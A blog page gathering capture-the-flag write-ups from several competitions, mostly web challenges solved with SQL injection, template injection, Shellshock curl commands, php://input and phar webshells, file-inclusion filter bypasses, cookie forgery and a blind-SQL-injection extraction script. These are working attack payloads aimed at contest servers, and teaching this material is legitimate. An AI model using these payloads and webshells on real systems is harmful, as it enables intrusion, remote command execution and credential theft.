Showing posts with label curl. Show all posts
Showing posts with label curl. Show all posts

Tuesday, November 20, 2018

RITSEC CTF 2018 - Web

Table of Contents

Space Force (100)

The first challenge was basic SQLi:
' or 1=1#
This dumped all results including the flag:
RITSEC{hey_there_h4v3_s0me_point$_3ny2Lx}

The Tangled Web (200):

This challenge had multiple links leading to many pages. The point of the challenge seemed to teach spidering / mirroring:
$ wget -rm http://fun.ritsec.club:8007/

Looking for files containing the term flag:

$ grep -ri 'flag' .

fun.ritsec.club:8007/Waving.html
17:        <th><a href="Fl4gggg1337.html" style="color: white">Flag</a></th>

fun.ritsec.club:8007/Fl4gggg1337.html
18:    <p style="color: white">Ha you thought there would be a flag here? Nice try :)</p>

Fl4gggg1337.html sounds interesting! Looking in there we find a link to Stars.html:

$ cat fun.ritsec.club:8007/Stars.html
...
  <center><p>UklUU0VDe0FSM19ZMFVfRjMzNzFOR18xVF9OMFdfTVJfS1I0QjU/IX0=</p></center>
</body>
</html>

<!-- REMOVE THIS NOTE LATER -->
<!-- Getting remote access is so much work. Just do fancy things on devsrule.php -->
...

Decoding the base64, we get the flag!

$ echo UklUU0VDe0FSM19ZMFVfRjMzNzFOR18xVF9OMFdfTVJfS1I0QjU/IX0= | base64 -D
RITSEC{AR3_Y0U_F3371NG_1T_N0W_MR_KR4B5?!}

Crazy Train (250):

This webapp had an article list & submission:

The title of this challenge & 404 page revealed it's a rails app:

Submitting a new article resulted in an interesting hidden parameter with an empty value:

..&article[a]=&..

With no value specified the POST would result in a blank page.

If we add a value to article[a] it reflects back to the client:

..&article[a]=AAAA&..

AAAA

Knowing this is a rails app, we can try ERB SSTI (skipping url-encoding in this post for clarity):

..&article[a]="AAAA" + (7 * 7).to_s + "BBBB"&..

AAAA49BBBB

Looks like it worked! Let's try something more productive:

..&article[a]=Dir["./*"].to_s&..

["./tmp", "./db", "./log", "./Gemfile", "./lib", "./Gemfile.lock",
 "./config.ru", "./test", "./package.json", "./bin", "./public", "./README.md",
 "./app", "./config", "./Rakefile", "./storage", "./flag.txt", "./vendor"]

Now just read the flag:

..&article[a]=File.read("./flag.txt").to_s&..
RITSEC{W0wzers_who_new_3x3cuting_c0de_to_debug_was_@_bad_idea}

What a cute dog! (350):

This web challenge had a minimal page with some linux output:

Looks like command injection. Looking in the source we can see the cgi-bin script used:

<iframe frameborder=0 width=800 height=600 src="/cgi-bin/stats"></iframe>

Visiting the cgi-bin script directly we get the same stats output as the home page.

If we curl the cgi script with shellshock in the User-Agent header, we get command execution:

$ curl -H "user-agent: () { :; }; echo; /bin/bash -c 'id'" http://fun.ritsec.club:8008/cgi-bin/stats

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Looking for flag.txt on the server, we find it in /opt:

$ curl -H "user-agent: () { :; }; echo; /bin/bash -c 'find / -type f -name flag.txt'" http://fun.ritsec.club:8008/cgi-bin/stats

/opt/flag.txt

Then we just read the flag:

$ curl -H "user-agent: () { :; }; echo; /bin/bash -c 'cat /opt/flag.txt'" http://fun.ritsec.club:8008/cgi-bin/stats
RITSEC{sh3ll_sh0cked_w0wz3rs}

Lazy Dev (400):

This challenge starts from The Tangled Web. To recap, we got a note in the HTML comments:
$ cat fun.ritsec.club:8007/Stars.html
...
  <center><p>UklUU0VDe0FSM19ZMFVfRjMzNzFOR18xVF9OMFdfTVJfS1I0QjU/IX0=</p></center>
</body>
</html>

<!-- REMOVE THIS NOTE LATER -->
<!-- Getting remote access is so much work. Just do fancy things on devsrule.php -->
...

Sounds like devsrule.php contains a backdoor.

If we look at that page, we see:

$ curl http://fun.ritsec.club:8007/devsrule.php

Not what you input eh?
This param is 'magic' man.

This didn't give us much to work with, but trying to play with the params in unsual ways, it reacts:

$ curl http://fun.ritsec.club:8007/devsrule.php?magic[]=1

Not what you input eh?
This param is 'magic' man.
Are you trying to hack me? That's mean :(

So we know it must have something to do with this magic param as mentioned in the description.

The next part took a while to figure out, but it's also mentioned in the description. The only other word which stands out is 'input'.

PHP contains a special wrapper 'input://' which can take 'stdin' from POST data. Adding this with the magic parameter, and a webshell in the POST data, we get what we would expect:

$ curl 'http://fun.ritsec.club:8007/devsrule.php?magic=php://input' --data '<?php echo system("id"); ?>'

Not what you input eh?<br>This param is 'magic' man.<br><br>

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Grabbing the users, we see joker, which may be where the flag is:

$ curl 'http://fun.ritsec.club:8007/devsrule.php?magic=php://input' --data '<?php echo system("cat /etc/passwd"); ?>'

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
joker:x:1000:1000:,,,:/home/joker:/bin/bash
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
sshd:x:104:65534::/run/sshd:/usr/sbin/nologin
sshd:x:104:65534::/run/sshd:/usr/sbin/nologin

Looking in joker's home directory we see a flag.txt, and cat it:

$ curl 'http://fun.ritsec.club:8007/devsrule.php?magic=php://input' --data '<?php echo system("cat /home/joker/flag.txt"); ?>'
RITSEC{WOW_THAT_WAS_A_PAIN_IN_THE_INPUT}

Archivr (300):

The first bug was found very quickly. After visiting one of the pages, we get a URL like:

http://fun.ritsec.club:8004/index.php?page=upload

This looks like LFI. It seems to work with a base64 encoded dump of index.php and other pages:

$ curl http://fun.ritsec.club:8004/index.php?page=php://filter/convert.base64-encode/resource=index

PD9waHAKaW5jbHVkZSgiY2xhc3Nlcy5waHAuaW5jIik7CmluY2x1ZGUoKGlzc2V0KCRfR0VUWydwYWdlJ10pICYmIGlzX3N0cmluZygkX0dFVFsncGFnZSddKSA/ICRfR0VUWydwYWdlJ10gOiAiaG9tZSIpIC4gIi5waHAiKTsKPz4K

This decodes to:

<?php
  include("classes.php.inc");
  include((isset($_GET['page']) && is_string($_GET['page']) ? $_GET['page'] : "home") . ".php");
?>

We can see why the LFI happened, now what does upload do? The main chunk of code is:

<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if ($_FILES['upload']['size'] > 5000) { //max 5KB
        die("File too large!");
    }
    $filename = $_FILES['upload']['name'];


    $upload_time = time();
    $upload_dir = "uploads/" . md5($_SERVER['REMOTE_ADDR']) . "/";

    $ext = "";
    if (strpos($filename, '.') !== false) {
        $f_ext = explode(".", $filename)[1];
        if (ctype_alnum($f_ext) && stripos($f_ext, "php") === false) {
            $ext = "." . $f_ext;
        } else {
            $ext = ".dat";
        }
    } else {
        $ext = ".dat";
    }

    $upload_path = $upload_dir . md5($upload_time) . $ext;
    mkdir($upload_dir, 770, true);

    //Enforce maximum of 10 files
    $dir = new DirLister($upload_dir);
    if ($dir->getCount() >= 10) {
        unlink($upload_dir . $dir->getOldestFile());
    }

    move_uploaded_file($_FILES['upload']['tmp_name'], $upload_path);
    $key = $upload_time . $ext;
}
?>

It uploads a user provided file under 5KB to an /uploads/md5(SERVER_IP)/ directory with the md5 value of time().

The server's internal IP can be obtained from one of the previous challenges - Lazy Dev:

$ curl 'http://fun.ritsec.club:8007/devsrule.php?magic=php://input' --data '<pre><?php echo system("netstat -n"); ?></pre>'

Not what you input eh?<br>This param is 'magic' man.<br><br><pre>Active Internet connections (w/o servers)

Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 172.27.0.2:80           10.0.10.254:45996       TIME_WAIT
tcp        0      0 172.27.0.2:80           10.0.10.254:46396       TIME_WAIT
tcp        0      0 172.27.0.2:80           10.0.10.254:46096       TIME_WAIT
tcp        0      0 172.27.0.2:80           10.0.10.254:45826       TIME_WAIT
tcp        0      0 172.27.0.2:80           10.0.10.254:46524       SYN_RECV
tcp        0      0 172.27.0.2:80           10.0.10.254:46794       ESTABLISHED
tcp        0      0 172.27.0.2:80           10.0.10.254:46520       TIME_WAIT
tcp        0      0 172.27.0.2:80           10.0.10.254:46246       TIME_WAIT
tcp        0      0 172.27.0.2:80           10.0.10.254:45944       TIME_WAIT
tcp        0      0 172.27.0.2:80           10.0.10.254:46076       TIME_WAIT
Active UNIX domain sockets (w/o servers)
Proto RefCnt Flags       Type       State         I-Node   Path
Proto RefCnt Flags       Type       State         I-Node   Path</pre>

The target internal IP is:

10.0.10.254

Next we can upload a simple web-shell and include it using the PHP wrapper phar://.

The web-shell (shell.php):

<pre><? echo system($_GET['cmd']); ?></pre>

Zipping the web-shell for usage with phar:

$ zip -0 shell.zip shell.php

After uploading shell.zip we get the current time with a .zip extension: 1542574010.zip.

The new filename will be md5(time()) or md5('1542574010'):

$ echo -n 1542574010 | md5

61fda3e4ccb1a54721aa8b42519de46e

The upload directory will be the md5 hash of the internal IP we found:

$ echo -n 10.0.10.254 | md5

98d3cbed97b0bc491c000455c9f8e6fb

Combining this all together, using the same url as the LFI with phar:// instead of php://filter, we can list the directory:

$ curl http://fun.ritsec.club:8004/index.php?page=phar:///var/www/html/uploads/98d3cbed97b0bc491c000455c9f8e6fb/61fda3e4ccb1a54721aa8b42519de46e.zip/shell&cmd=ls

...
c1f3d7e3e54a30dd7c66f1840b3afe90_flag.txt
download.php
index.php
upload.php
...

Looks like we have the flag!

$ curl http://fun.ritsec.club:8004/index.php?page=phar:///var/www/html/uploads/98d3cbed97b0bc491c000455c9f8e6fb/61fda3e4ccb1a54721aa8b42519de46e.zip/shell&cmd=cat *flag.txt
RITSEC{uns3r1al1z3_4LL_th3_th1ng5}

Sunday, March 4, 2018

Pragyan CTF 2018 - web


This post includes the following writeups:


Unfinished business (100pts)



This challenge presents a login prompt and a nice option of making yourself admin.

It was unusual that the organizers decided to reuse account credentials for the challenges themselves. This was one of those challenges.

After logging in we see a success message:


Attempting to visit admin.php, we get redirected to the same intermediate page.

The redirect looked a little suspicious, so it seemed right to check this using curl:


After editing out extra headers, we get the flag without the redirect:

$ curl 'http://128.199.224.175:25000/admin.php' -H 'Cookie: PHPSESSID={REDACTEDREDACTEDREDACTED}'

<!DOCTYPE html>
<html>
<head>
    <title>Admin Dashboard</title>
</head>
<body>

<center>
<h4>
Redirect
<br><br>
The Admin panel is under construction. Redirecting ...
</h4>
<br><br>
Flag :- pctf{y0u=Sh0Uldn'1/h4v3*s33n,1his.:)}
</center>

</body>
</html>



Authenticate your way to admin (150pts)



This challenge also used the CTF creds to auth, slightly odd, but when we login we get the following page:


They also included some source files for this challenge, notably this included:

$id_type = $_SESSION['id_type'];
$id = $_SESSION['id'];
...
<?php
    require "sayings.php";
    printf(get_random_saying());
    echo "<br><br>";
    if($id === 'admin' && $id_type === 'team_name')
        printf(output_flag());
?>

In login.php we also see $_SESSION values being set without condition:

$type = $_POST['id_type'];
$identifier = $_POST['identifier'];
$password = $_POST['password'];
$_SESSION['id'] = $identifier;

This means we could probably set the id & id_type to 'admin' and 'team_name' respectively without any verification, when attempting this we get a failure message:


This doesn't stop us from visiting homepage.php with our newly saved admin session:



El33t Articles Hub (200pts)



This challenge was a lot of fun and had a nice distraction!

First clicking on a link, we notice we're redirected to a page with some content, and the url contains:

http://128.199.224.175:22000/?file=Morning%20Rituals


This immediately invokes the idea of LFI. Playing around a little, we start to get errors filtering keywords such as php: to mitigate attacks such as php://filter.


After looking around for other potential vulnerabilities, something odd pops up:

<link rel='shortcut icon' href='favicon.php?id=3' type='image/x-icon'>

Why would a favicon be a php file, and why would it have an id? This is pure fish sauce.

Let's try to LFI it!

$ curl http://128.199.224.175:22000/favicon.php\?id\=./index.php
No files named './favicons/./index.php.png', './favicons/./index.php.ico'  or './favicons/./index.php.php' found

Perfect. Looks horrible.

Let's grab index.php source:

$ curl http://128.199.224.175:22000/favicon.php\?id\=../index

index.php snippet:

<!DOCTYPE html>
<html>
  <head>

  <?php
    $favicon_id = mt_rand(1,7);
    echo "<link rel='shortcut icon' href='favicon.php?id=$favicon_id' type='image/x-icon'>";
  ?>
...
    <?php
        error_reporting(0);
        require "fetch.php";
        require "helpers.php";

        $filename = !empty($_GET['file']) ? $_GET['file'] : "";

        if($filename !== "") {

            $filename = sanitize($filename);
            $file_contents = read_article($filename);
            echo "<p>";
            echo $file_contents;
            echo "</p>";
...

It looks like there are other php files to dump (favicon.php, fetch.php, helpers.php):

$ curl http://128.199.224.175:22000/favicon.php\?id\=../favicon > favicon.php
$ curl http://128.199.224.175:22000/favicon.php\?id\=../fetch > fetch.php
$ curl http://128.199.224.175:22000/favicon.php\?id\=../helpers > helpers.php

Grepping for the flag we see the match:

$ grep flag *
helpers.php:    $evil_chars = array("php:", "secret/flag_7258689d608c0e2e6a90c33c44409f9d");


Visiting this url we get the flag:


After walking through this challenge again, it seems the flag was locked down so the technique above wouldn't work. So as an addition to this writeup, let's walk through the next steps after direct flag access has been denied.

Looking at the files again there was a filter for the first LFI:

$bad_chars = array("./", "../");
foreach ($bad_chars as $value) {
    $filename = str_replace($value, "", $filename);
}

Playing around in a local/online PHP repl helps with this, we end up with the new url:

http://128.199.224.175:22000/?file=.....///secret//flag_7258689d608c0e2e6a90c33c44409f9d

This utilizes two LFI bugs, which is a nice combo to get the flag:



Animal attack (200pts)



As the name implies on this one, we're given a database of animal spies, and it hints at the possibility of SQL Injection with the search box.

Trying a very simple injection, we get a successful result:


We can check if it's really SQL Injection and not just a rough match by checking the failing condition 1=2:



Looks like we have something! Now we just need to union select and we should be done right?

The next query was:

alix' union select * from users


They seem to have blocked the keyword 'union' from the input. We'll have to get more creative.

Without any reflected errors and the blocking of keywords, it made sense to go the blind sql injection route.

This is a good paper on blind sqli which was followed initially during the CTF - https://www.exploit-db.com/papers/13045/

First it would be nice to go through quicker iterations for searching. Using the same method above to copy the cURL value, we get a simplified version on the command line. Note the web application base64 encoded the query before sending it off, so we do the same:

$ curl -s 'http://128.199.224.175:24000/' --data "spy_name="$(echo -en "alix'\n and 1=1 #" | base64)

To identify if the query succeeded or failed we can grep for Alix:

$ curl -s 'http://128.199.224.175:24000/' --data "spy_name="$(echo -en "alix'\n and 1=1 #" | base64) | grep Alix
        <b> Name : </b> Alix <br>

In the exploit-db paper by Marezzi, it mentions existence checks for columns, we'll perform the same here:

$ curl -s 'http://128.199.224.175:24000/' --data "spy_name="$(python -c 'print "alix'"'"' and (select substring(concat(1,password),1,1) from users where username=\"admin\" limit 0,1)=1 #".encode("base64").replace("\n", "")') | grep Alix

With this we are able to tell there is a users table with an admin user and a password column.
Now we can enumerate which characters are in the password by using character range comparisons.

Starting with the first character, we can identify that it starts with the known flag format 'pctf{':

curl -L 'http://128.199.224.175:24000/' --data "spy_name="$(python -c 'print "alix'"'"' and ascii(substring((SELECT password from users where username=\"admin\" limit 0,1),1,1))=112 #".encode("base64").replace("\n", "")') | grep Alix

That Passes! So now to enumerate other characters.
To find other characters, we iterate through the potential character space (python's string.printable is fine for this). Once we reach the point where the current character succeeds and the next fails, we know the next is part of the password. This may become clear in the following example:

We know 'p' is the beginning of the flag, when we iterate through all possible characters we reach 'o'. The check 'p' > 'o' succeeds. Next we check if 'p' > 'p', this obviously fails, and we know that 'p' is the next match for our password.

$ curl -s 'http://128.199.224.175:24000/' --data "spy_name="$(python -c 'print "alix'"'"' and ascii(substring((SELECT password from users where username=\"admin\" limit 0,1),1,1))>111 #".encode("base64").replace("\n", "")') | grep Alix
        <b> Name : </b> Alix <br>
$ curl -s 'http://128.199.224.175:24000/' --data "spy_name="$(python -c 'print "alix'"'"' and ascii(substring((SELECT password from users where username=\"admin\" limit 0,1),1,1))>112 #".encode("base64").replace("\n", "")') | grep Alix

We'll also want to make this process more efficient by introducing a binary search while traversing through the possible characters.

This was the final client for the challenge:

#!/usr/bin/env python
import requests

checkRange = range(9, 126)
BASE = "alix' and ascii(substring((SELECT password from users where username=\"admin\" limit 0,1),{},1))>{} #"

def bsearch(pos):
  min = 9
  max = 126
  while True:
    if max < min: return -1
    m = (min + max) // 2

    first = request(pos, m)
    second = request(pos, m + 1)

    if first and not second:
      return m + 1
    elif first and second:
      min = m + 1
    else:
      max = m - 1

def request(pos, char):
  payload = BASE.format(pos, char).encode('base64')
  r = requests.post('http://128.199.224.175:24000/', { "spy_name": payload })
  return 'Alix' in r.text

def main():
  flag = ''
  pos = 1

  while '}' not in flag:
    flag += chr(bsearch(pos))
    print 'Flag: {}'.format(flag)
    pos += 1

  print 'Result: {}'.format(flag)

if __name__ == '__main__':
  main()


Running the client we get the flag:



Tuesday, May 3, 2016

Google CTF 2016 - Various [No Big Deal Pt. 1, In Recorded Conversation, Spotted Quoll, Ernst Echidna]



So I grouped these all together for two main reasons:
  1. I was inspired seeing this short writeup for GeoKitties - https://twitter.com/k_firsov/status/726841516174508033
  2. Write-ups can take some time, so this is a good way of shortening a few challenges into one post.

Quick note about the writeups below:
  • Each of the examples below are one-liner solutions (they may not be the best one-liners because they can be longcat-long, but were fun to make)
  • Each example below has a one-line output including the CTF{...} flag


No Big Deal Pt. 1 (50):

This one was probably one of the easiest challenges (even easier than the 5pt recon) that I came across, strings'ing the pcap gave an obvious base64 encoded value at the end of the dump, which turned into the flag, here's the one-liner:

strings -n 9 no-big-deal.pcap | tail -n 1 | base64 -D

Result:

CTF{betterfs.than.yours}



In Recorded Conversation (25):

The name of this challenge invoked the idea that there was going to be a hidden conversation to find a flag in.  That was exactly it in a pcap!  For this one I didn't open wireshark and decided to jump into more tshark.  This is not my actual solution for the challenge when I was playing (it was a lot more manual), but the same thing would've worked... Usually there's no time to do silly things like tr, sed & multi-massaged-list-comprehensions to get an answer when you're on the CTF clock.

tshark -r irc.pcap -T fields -e data 2>/dev/null | python -c "import sys; a=sys.stdin.read().split('\n'); a=[x.decode('hex') for x in a]; a=[x for x in a if 'PRIVMSG' in x and '~' not in x]; print a" | tr ',' '\n' | grep #ctf | tail -n 8 | head -n 7 | sed 's/.*://g;s/\\.*//g' | tr '\n' ' ' | sed 's/ //g'

Result:

CTF{some_leaks_are_good_leaks_}



Spotted Quoll (50):

This challenge was mainly solved by a team-mate (Unixist), but I helped out a bit with some minor details.  Also formed it into this massive one-liner:

curl -L https://spotted-quoll.ctfcompetition.com/admin --cookie obsoletePickle=$(python -c 'import pickle; x = pickle.loads("KGRwMQpTJ3B5dGhvbicKcDIKUydwaWNrbGVzJwpwMwpzUydzdWJ0bGUnCnA0ClMnaGludCcKcDUKc1MndXNlcicKcDYKTnMu".decode("base64")); x["user"] = "admin"; print pickle.dumps(x).encode("base64").replace("\n", "")') 2>/dev/null | grep -i ctf

The challenge consisted of identifying that the cookie was in a python pickle format, dumping the current cookie (base64 encoded) and then noticing the user was set to None, changing it to admin and re-encoding it / sending it off.


Result:

Your flag is CTF{but_wait,theres_more.if_you_call} ... but is there more(1)? or less(1)?



Ernst Echidna (50):

This challenge was also a very simple web challenge, consisting of a cookie that was set to the md5 value of your username.  The goal was to view the admin section, so a little echo -n admin | md5sum, and we've got our cookie.


curl https://ernst-echidna.ctfcompetition.com/admin --cookie md5-hash=$(echo -n admin | md5) 2>/dev/null | grep -i ctf

Result:

      Congratulations, your token is 'CTF{renaming-a-bunch-of-levels-sure-is-annoying}



These were all simple, but very fun! Had a good time forming the (mostly) one-liners above today.  Let me know if you have any more efficient examples of these in the comments!



Sunday, May 3, 2015

Volga CTF 2015 - Find Him (Recon) 250

Volga was a fun CTF, with many Recon and Stego challenges as well as challenging pwnables and reversing.  One of the challenges I helped with the most was the "Find Him" recon assignment.  You were given one hint to start with: "Find Greg Medichi he is from Sydney, his code contains a valuable data"

Simple enough, let's search google for an exact match of his name "Greg Medichi"
Cool, only 3 results!  And one of them is the Sydney G+ page, let's check it out.
Search on the page for his name again, hmmmmm no dice, but it was crawled returning his name so it must be in a comment or in the cache.  Cache didn't show a readable page so the next choice was to look through the source.  After pulling up the Chrome's element inspector and searching again for his name, it showed up in a few places.  Now is the point of preference, but I thought it may be a lot easier to search through this on the terminal, so I curled the G+ Sydney page to find a link to his profile image and personal G+ page.

Next after curling his G+ page I grepped for 'code' which returned a post to his github account.

After checking out his github page, he only had one repo with no other contributions.  The flag must be close....
Looking through the repo it looked like .gitignore could be interesting, but then there was also another branch.  After checking out the branch, the flag was found in a previous commit.

Simple Example Workflow:

curl https://plus.google.com/+Sydney | grep -i "greg medichi" | tr '"' '\n' | egrep -i "greg|http" | tail -n 3

G+ Profile Image: https://lh3.googleusercontent.com/-M-UOwrBR81s/AAAAAAAAAAI/AAAAAAAAABM/LA55YSwP-Bg/photo.jpg
G+ Profile Page: https://plus.google.com/100247380806038877359
curl https://plus.google.com/100247380806038877359 | grep -i code | tr '"' '\n' | grep -i greg | tail -n 3

Check out the github account... Only one repo....
git clone https://github.com/gregmedichi/todoapp
cd todoapp
git branch -a

Find the other branch "front_end"
git checkout origin/front_end
git log

Found a log entry mentioning "unfinished" changes
git checkout 6b5334844a19413124605b77507437924d233f27
git diff master

String Found in Diff:
+          <!-- TODO Add a logic Fl@g={LURK1NG_G1T_1S_PHUN} -->